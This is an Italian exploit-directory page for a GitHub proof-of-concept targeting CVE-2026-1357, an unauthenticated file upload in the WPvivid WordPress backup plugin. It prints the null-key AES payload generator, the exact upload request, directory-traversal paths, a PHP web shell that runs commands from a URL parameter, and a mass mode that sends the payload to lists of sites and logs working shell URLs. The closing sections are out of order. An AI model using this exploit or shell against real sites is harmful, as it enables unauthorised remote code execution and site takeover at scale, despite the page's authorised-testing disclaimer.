Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
CVE-2026-1357 — Migration, Backup, Staging <= 0.9.123 - Caricamento arbitrario di file senza autenticazione | Kitploit
Strumenti/GitHubGitHub/nxploited/cve-2026-1357
Generazione di PayloadAnalisi delle VulnerabilitàExploitSfruttamento di Applicazioni WebPenetration TestingRed Teaming
GitHubnxploited/cve-2026-1357

CVE-2026-1357

Migration, Backup, Staging <= 0.9.123 - Caricamento arbitrario di file senza autenticazione

Vedi Repository
15 mesi faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

🧨 CVE-2026-1357 – Strumento di sfruttamento WPvivid Null-Key (CVE-2026-1357.py)

Migration, Backup, Staging – WPvivid Backup & Migration ≤ 0.9.123
Vulnerabilità: Upload Arbitrario di File Non Autenticato → Esecuzione di Codice Remoto
CVE: CVE-2026-1357 – CVSS 9.8 (Critico)

GitHub: https://github.com/Nxploited
Telegram: @KNxploited


🧬 Cosa fa questo script

Nxploited

CVE-2026-1357.py è uno strumento di sfruttamento proof-of-concept per la vulnerabilità WPvivid. Si concentra sulla gestione difettosa della sessione AES che consente a un attaccante di:

  1. Crittografare un payload con una chiave/IV AES nulli (tutti byte zero) nello stesso formato previsto da WPvivid.
  2. Incorporare contenuto di file arbitrario (es. shell PHP) e un nome/percorso (name) scelto all'interno del payload.
  3. Inviare questo payload all'endpoint WPvivid tramite il parametro wpvivid_action=send_to_site.
  4. (Opzionalmente) verificare se il file è stato scritto con successo ed è accessibile.

Lo script non tenta di indovinare o abusare direttamente delle chiavi private. Simula invece il flusso corrotto di WPvivid in cui un openssl_private_decrypt() fallito porta all'inizializzazione del cifrario AES di phpseclib con una chiave nulla.


🧠 Dettagli tecnici interni

🔐 Payload AES Null-Key

Il cuore dell'exploit è in gen_wpvivid_payload():

  • Costruisce una struttura JSON:

    root@kitploit:~
    {
      "name": "<file_name>",
      "offset": 0,
      "data": "<base64(file_bytes)>",
      "file_size": <len(file_bytes)>,
      "md5": "<md5(file_bytes)>"
    }
    
  • Serializza questo JSON (forma compatta, senza spazi).

  • Crittografa il JSON usando:

    • AES-128-CBC
    • key = b"\x00" * 16
    • iv = b"\x00" * 16
  • Antepone quindi:

    • 3 byte: "000" (segnaposto statico per il campo lunghezza).
    • 16 byte in esadecimale maiuscolo: lunghezza del cifrato codificata come "{len(cipher):016X}".
  • Il blob crittografato finale è:

    root@kitploit:~
    "000" + <16-byte hex lunghezza cifrato> + <ciphertext AES-CBC grezzo>
    
  • Questo blob viene codificato in base64 e restituito come valore finale di wpvivid_content.

Funzione:

root@kitploit:~
def gen_wpvivid_payload(file_name: str, file_bytes: bytes) -> str:
    file_md5 = hashlib.md5(file_bytes).hexdigest()
    json_obj = {
        "name": file_name,
        "offset": 0,
        "data": base64.b64encode(file_bytes).decode(),
        "file_size": len(file_bytes),
        "md5": file_md5,
    }
    json_str = json.dumps(json_obj, separators=(",", ":")).encode()
    cipher = AES.new(NULL_KEY, AES.MODE_CBC, NULL_IV)
    encrypted = cipher.encrypt(pad(json_str, AES.block_size))
    key_len_field = b"000"
    cipherlen_field = f"{len(encrypted):016X}".encode()
    blob = key_len_field + cipherlen_field + encrypted
    return base64.b64encode(blob).decode()

Questo corrisponde alle aspettative di decrittazione di WPvivid nel percorso di codice vulnerabile dopo il fallimento della decrittazione RSA.


🧰 Funzionalità e modalità

Lo script ha due modalità principali più una capacità di test di massa:

  1. mood1 – Generatore di Payload

    • Genera un valore valido di wpvivid_content usando il trucco della chiave nulla.
    • Supporta più modi per definire il contenuto del file.
    • Avvia opzionalmente il Mass Tester contro un elenco di target.
  2. mood2 – Tester su Target Singolo

    • Usa un payload generato in precedenza.
    • Testa un singolo target end-to-end:
      • Invia il payload.
      • Costruisce l'URL del file risultante atteso.
      • Verifica se il file è raggiungibile.
  3. Mass Mode (da mood1)

    • Invia un payload scelto a più target da un file di elenco.
    • Usa concorrenza e una barra di avanzamento.
    • Traccia e registra gli upload riusciti.

🚦 Esecuzione dello script

root@kitploit:~
python3 CVE-2026-1357.py

Vedrai una UI basata su Rich con un banner e la selezione della modalità:

  • mood1 – Generatore di Payload
  • mood2 – Tester su Target Singolo

🧪 Modalità: mood1 – Generatore di Payload

Scopo

  • Creare un payload exploit (wpvivid_content) che codifica:
    • Il percorso/nome del file che vuoi che WPvivid scriva.
    • Il contenuto del file (shell, file di test, ecc.).

Flusso

  1. Selezione modalità

    Quando richiesto:

    root@kitploit:~
    Choose mode (mood1/mood2) [mood1]:
    

    Premi Invio (predefinito mood1) o digita mood1.

  2. Nome file / percorso target

    Ti viene chiesto:

    root@kitploit:~
    Target file name (e.g., Nx_.php or ../../public/Nx_.php):
    

    Esempi:

    • Per rilasciare un file nella directory di backup di WPvivid:

      root@kitploit:~
      Nx_.php
      
    • Per abusare del directory traversal (se consentito dal target):

      root@kitploit:~
      ../../public_html/Nx_.php
      

    Il valore viene inserito nel campo name del payload JSON.

  3. Modalità di inserimento contenuto

    Lo script mostra tre modi per definire il contenuto del file:

    • Modalità 1: contenuto su riga singola.
    • Modalità 2: contenuto su più righe (termina con EOF).
    • Modalità 3: lettura da un file locale (es. ).

Modalità Mass opzionale da mood1

Dopo aver generato il payload, lo script chiede:

root@kitploit:~
Auto-send this payload to targets list (mass mode)? (y/N):

Se rispondi y, avvia la mass mode con il payload e il nome file appena creati.


🌐 Mass Mode – Target Multipli

Scopo

  • Prendere un singolo payload exploit e testarlo contro un elenco di target.

Flusso

  1. File dei target

    Esempio di richiesta:

    root@kitploit:~
    Targets list file (one URL per line):
    

    Formato atteso del file (es. targets.txt):

    root@kitploit:~
    https://site1.com
    site2.com
    http://site3.net
    

    Lo script normalizzerà automaticamente gli URL base (aggiungendo lo schema dove manca).

  2. Numero di thread

    root@kitploit:~
    Threads (concurrent sites) [5]:
    

    Controlla quanti siti vengono elaborati in parallelo.

  3. Logica per target

    Per ogni target:

    • Normalizza l'URL → base_url.

    • Chiama:

      root@kitploit:~
      send_wpvivid_payload(base_url, payload)
      

      che:

      • Costruisce la POST con wpvivid_action=send_to_site + wpvivid_content=<payload>.
      • Invia tramite una nuova sessione con impostazioni ottimizzate del connection pool.
      • Controlla se la risposta contiene {"result":"success"} (controllo in forma compatta).

🧪 Modalità: mood2 – Tester su Target Singolo

Scopo

  • Usare un payload esistente (da wpvivid_payload.txt o da fonte esterna) contro un singolo URL e verificare il file risultante.

Flusso

  1. URL target

    Richiesta:

    root@kitploit:~
    Target base URL (e.g., https://site.com):
    

    Esempio:

    root@kitploit:~
    https://victim.com
    

    Lo script normalizza questo in una base come:

    root@kitploit:~
    https://victim.com
    
  2. Nome file

    Richiesta:

    root@kitploit:~
    Expected file name (e.g., Nx_.php):
    

    Questo è il nome/percorso che ti aspetti che WPvivid scriva (corrispondente a quello codificato nel campo name del payload).

  3. Input payload

    Richiesta:

    root@kitploit:~
    Paste wpvivid_content payload (base64 or 'wpvivid_content=...'):
    
    • Se incolli una riga completa che inizia con wpvivid_content=..., rimuove il prefisso.
    • Se incolli solo il base64, lo prende così com'è.
  4. Esecuzione

    Lo script:

    • Invia la POST con wpvivid_action=send_to_site + il tuo wpvivid_content.

Questa modalità è ideale per test manuali / di laboratorio su un singolo sito con controllo preciso del payload.


📁 File di output

  • wpvivid_payload.txt

    • Scritto in mood1.
    • Salva:
      • file_name=<file_name_you_chose>
      • wpvivid_content=<payload>
  • Nx_.txt

    • Scritto da mood1 (mass mode) e mood2.
    • Contiene un URL di file riuscito per riga dove l'upload sembra essere andato a buon fine (e opzionalmente verificato).

⚠️ Disclaimer

Questo strumento è destinato esclusivamente a:

  • Ricerca sulla sicurezza in ambienti controllati.
  • Test su sistemi di tua proprietà o per i quali disponi di esplicita autorizzazione scritta.
  • Validazione di misure di remediation e rilevamento per CVE-2026-1357.

Usando questo script, accetti che:

  • Sei responsabile del rispetto di tutte le leggi applicabili.
  • Non lo utilizzerai su sistemi senza la dovuta autorizzazione.
  • L'autore (Nxploited) non si assume alcuna responsabilità per usi impropri, danni, problemi legali o incidenti derivanti dall'uso di questo strumento.

Usalo a tuo rischio e solo per test di sicurezza legittimi.


✍️ Autore e contatti

  • Di: Nxploited (Khaled Alenazi)
  • GitHub: https://github.com/Nxploited
  • Telegram: @KNxploited

Per aggiornamenti, strumenti e contenuti di ricerca sulla sicurezza, segui il canale Telegram:
👉 @KNxploited

Scarica lo strumento
shell.php

Ti viene chiesto:

root@kitploit:~
Mode [1/2/3] [1]:
  • Modalità 1 – Riga singola

    root@kitploit:~
    Single line content:
    

    Esempio di input:

    root@kitploit:~
    <?php phpinfo();
    
  • Modalità 2 – Multi-riga

    root@kitploit:~
    Enter file content, line by line. Type 'EOF' on its own line when done.
    

    Puoi incollare o digitare uno script PHP multi-riga, quindi terminare con EOF su una riga dedicata:

    root@kitploit:~
    <?php
    echo "Nxploited shell";
    system($_GET['cmd'] ?? 'id');
    ?>
    EOF
    
  • Modalità 3 – File locale

    root@kitploit:~
    Local file path (e.g., shell.php):
    

    Lo script legge l'intero file in file_bytes.

  • Generazione payload

    Una volta acquisito il contenuto, lo script:

    • Costruisce l'oggetto JSON.
    • Lo crittografa con AES-CBC a chiave nulla.
    • Confeziona il blob binario.
    • Lo codifica in base64.

    Vedrai un output come:

    root@kitploit:~
    Payload generated.
    Use the value after '=' as wpvivid_content.
    
    wpvivid_content=BASE64_BLOB_HERE
    

    E viene scritto un file wpvivid_payload.txt:

    root@kitploit:~
    file_name=Nx_.php
    wpvivid_content=BASE64_BLOB_HERE
    
  • Se l'upload è considerato riuscito:

    • Costruisce shell_url come:

      root@kitploit:~
      f"{base_url}/wp-content/wpvividbackups/{file_name.lstrip('/')}"
      
    • Lo salva in Nx_.txt.

    • Tenta verify_written_file():

      • Invia una richiesta GET a shell_url.
      • Se status_code == 200, lo segna come verificato.
  • Se si verificano errori:

    • Lo script classifica il motivo tramite short_reason():
      • TIMEOUT / SSL / 404 / 403 / CONN / REQUEST / VERIFY / ERROR.
  • UI

    • La barra di avanzamento Rich mostra lo stato globale e il tempo trascorso.
    • Ogni sito stampa:
      • [OK] <shell_url> in caso di successo.
      • [FAIL] <base> (reason: ...) in caso di errore.
      • [!] Not verified (...) quando l'upload potrebbe essere riuscito ma la verifica è fallita.
  • Se la risposta suggerisce successo, costruisce:

    root@kitploit:~
    <base_url>/wp-content/wpvividbackups/<file_name.lstrip('/')>
    

    e stampa [OK] con quell'URL.

  • Aggiunge gli URL riusciti a Nx_.txt.

  • Tenta la verifica tramite verify_written_file() e stampa il risultato.